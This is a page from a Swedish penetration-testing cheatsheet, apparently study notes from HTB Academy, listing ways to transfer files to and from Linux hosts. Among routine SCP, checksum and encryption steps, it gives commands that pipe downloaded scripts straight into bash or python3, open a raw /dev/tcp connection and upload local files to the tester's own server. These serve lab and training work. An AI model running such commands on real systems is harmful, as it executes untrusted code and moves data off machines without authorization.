AllThingsCyb3r
AllThingsCyb3r
AllThingsCyb3r
  • Welcome
    • Beskrivning
  • Whoami
    • Om
  • Cheatsheets
    • Enumeration Cheatsheet
      • Nmap - grundkommandon
      • SSH
      • SMB
      • HTTP/HTTPS
      • DNS
      • FTP
      • MySQL
      • MSSQL
      • SMTP
        • IMAP/IMAPS
        • POP3
      • SNMP
      • IPMI
    • Linux Cheatsheet
    • Windows Cheatsheet
    • Linux Priv.Esc Cheatsheet
    • Windows Priv.Esc Cheatsheet
    • Webbapplikation
  • Writeups
    • Hack The Box
      • Photobomb
      • Active
  • Verktyg
    • Metasploit
    • Gobuster
    • Hydra
    • Searchsploit
    • PsExec
    • FFUF
    • MSFvenom
    • CrackMapExec
  • Protokoll
    • FTP
    • SMB
    • SNMP
  • File Transfers
    • Windows
    • Linux
    • Alternativa metoder
    • LOLBins
  • Shells & Payloads
    • Payloads
    • Shells
  • Active Directory
    • Översikt
    • Dokumentation & Länkar
Powered by GitBook
On this page
  • Överföring genom Base64-kodning
  • Steg 1 - Ta fram checksumma för filen
  • Steg 2 - Base64-koda filen
  • Steg 3 - Konvertera tillbaka filen
  • Steg 4 - Kontrollera att checksumman stämmer från steg 1
  • Överföring med Wget
  • Exempel 1:
  • Överföring med cURL
  • Exempel 1:
  • Överföring med Wget (utan fil)
  • Exempel 1:
  • Överföring med cURL (utan fil)
  • Exempel 1:
  • Överföring med Bash (/dev/tcp)
  • Steg 1:
  • Steg 2:
  • Steg 3:
  • Överföring med SSH
  • Steg 1:
  • Steg 2:
  • Steg 3:
  • Web Uploads
  • Steg 1:
  • Steg 2:
  • Steg 3
  • Alternativa metoder för filöverföring
  • Exempel 1: Webbserver med Python2.7
  • Exempel 2: Webbserver med PHP
  • Exempel 3: Webbserver med Ruby
  • Exempel 4: Filöverföring med Wget
  • Exempel 5: Uppladdning med SCP
  • Filkryptering i Linux
  • Exempel 1
  1. File Transfers

Linux

Olika sätt att överföra filer till och från Linux-system. I huvudsak hämtat från HTB Academy.


Överföring genom Base64-kodning

Steg 1 - Ta fram checksumma för filen

md5sum <filnamn>

Steg 2 - Base64-koda filen

cat <filnamn> | base64 -w 0;echo

Steg 3 - Konvertera tillbaka filen

echo <Base64-checksumma> | base64 -d > <filnamn>

Steg 4 - Kontrollera att checksumman stämmer från steg 1

md5sum <filnamn>


Överföring med Wget

Exempel 1:

wget https://<URL>/<filnamn> -O <önskat filnamn>


Överföring med cURL

Exempel 1:

curl -o <önskat filnamn> https://<URL>/<filnamn>


Överföring med Wget (utan fil)

Exempel 1:

Exekvera Python-skript direkt vid överföring utan att filen sparas på disk

wget -qO- https://<URL>/<python-skript> | python3


Överföring med cURL (utan fil)

Exempel 1:

Exekvera ett skript med Bash direkt vid överföring utan att filen sparas på disk

curl https://<URL>/<fil> | bash


Överföring med Bash (/dev/tcp)

Steg 1:

Anslut till webbserver

exec 3<>/dev/tcp/<egen IP-adress>/<port>

Steg 2:

HTTP Get Request

echo -e "GET /<filnamn> HTTP/1.1\n\n">&3

Steg 3:

Print:a svaret

cat <&3


Överföring med SSH

SSH-implementationen kommer med ett verktyg som heter SCP för att kunna överföra filer via SSH-protokollet. SCP (Secure Copy) är ett kommandotolksverktyg som gör det möjligt att kopiera filer och mappar mellan två klienter på ett säkert sätt. Man kan kopiera både från lokal klient --> fjärrklient/server och fjärrklient/server --> lokal klient. SCP är väldigt likt "copy" eller "cp" men istället för att erbjuda en lokal sökväg så specificerar man ett användarnamn, lösenord och IP på fjärrklient/DNS-namn.

Steg 1:

Starta en SSH-server

# Aktivera SSH-tjänsten
sudo systemctl enable ssh

# Starta SSH-tjänsten
sudo systemctl start ssh

Steg 2:

Kontrollera att port 22 är i "listen"-status

netstat -lnpt

Steg 3:

Överför filer med SCP. Man kan skapa en tillfällig användare om man inte vill använda sin vanliga användare

scp <användare>@<egen IP-adress>:/<sökväg till fil> .


Web Uploads

Steg 1:

Skapa ett självsignerat certifikat (för att kunna köra över HTTPS, för säkrare kommunikation)

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Steg 2:

Starta webbservern på port 443, med certifikatet. OBS! Se till att inte webbservern host:ar certifikatet.

python3 -m uploadserver 443 --server-certificate /<sökväg till cert>/<pem-filen>

Steg 3

Ladda upp filer

curl -X POST https://<egen IP-adress>/upload -F 'files=@/<sökväg till fil>/<filnamn>' -F 'files=@/<sökväg till fil>/<filnamn>' --insecure


Alternativa metoder för filöverföring

Beroende på vad som är installerat kan man behöva använda andra program för att starta en webbserver.

Exempel 1: Webbserver med Python2.7

python2.7 -m SimpleHTTPServer

Exempel 2: Webbserver med PHP

php -S 0.0.0.0:<portnummer>

Exempel 3: Webbserver med Ruby

ruby -run -ehttpd . -p<portnummer>

Exempel 4: Filöverföring med Wget

wget <egen IP-adress>:<portnr>/<filnamn>

Exempel 5: Uppladdning med SCP

scp /<sökväg>/<filnamn> <användare>@<egen IP-adress>:/<sökväg>/


Filkryptering i Linux

Exempel 1

OpenSSL-kryptering

Steg 1:

Kryptera önskad fil

openssl -enc -<val av chiffer> -iter 100000 -pbkdf2 -in <filnamn> -out <önskat filnamn>

Därefter får man ange önskat lösenord för krypteringen, viktigt att välja ett starkt lösenord för att kunna undvika brute force-försök.

Steg 2:

Dekryptera filen

openssl enc -d -<valda chiffret> -iter 100000 -pbkdf2 -in <filnamn efter kryptering> -out <önskat filnamn>


PreviousWindowsNextAlternativa metoder

Last updated 1 year ago

Page cover image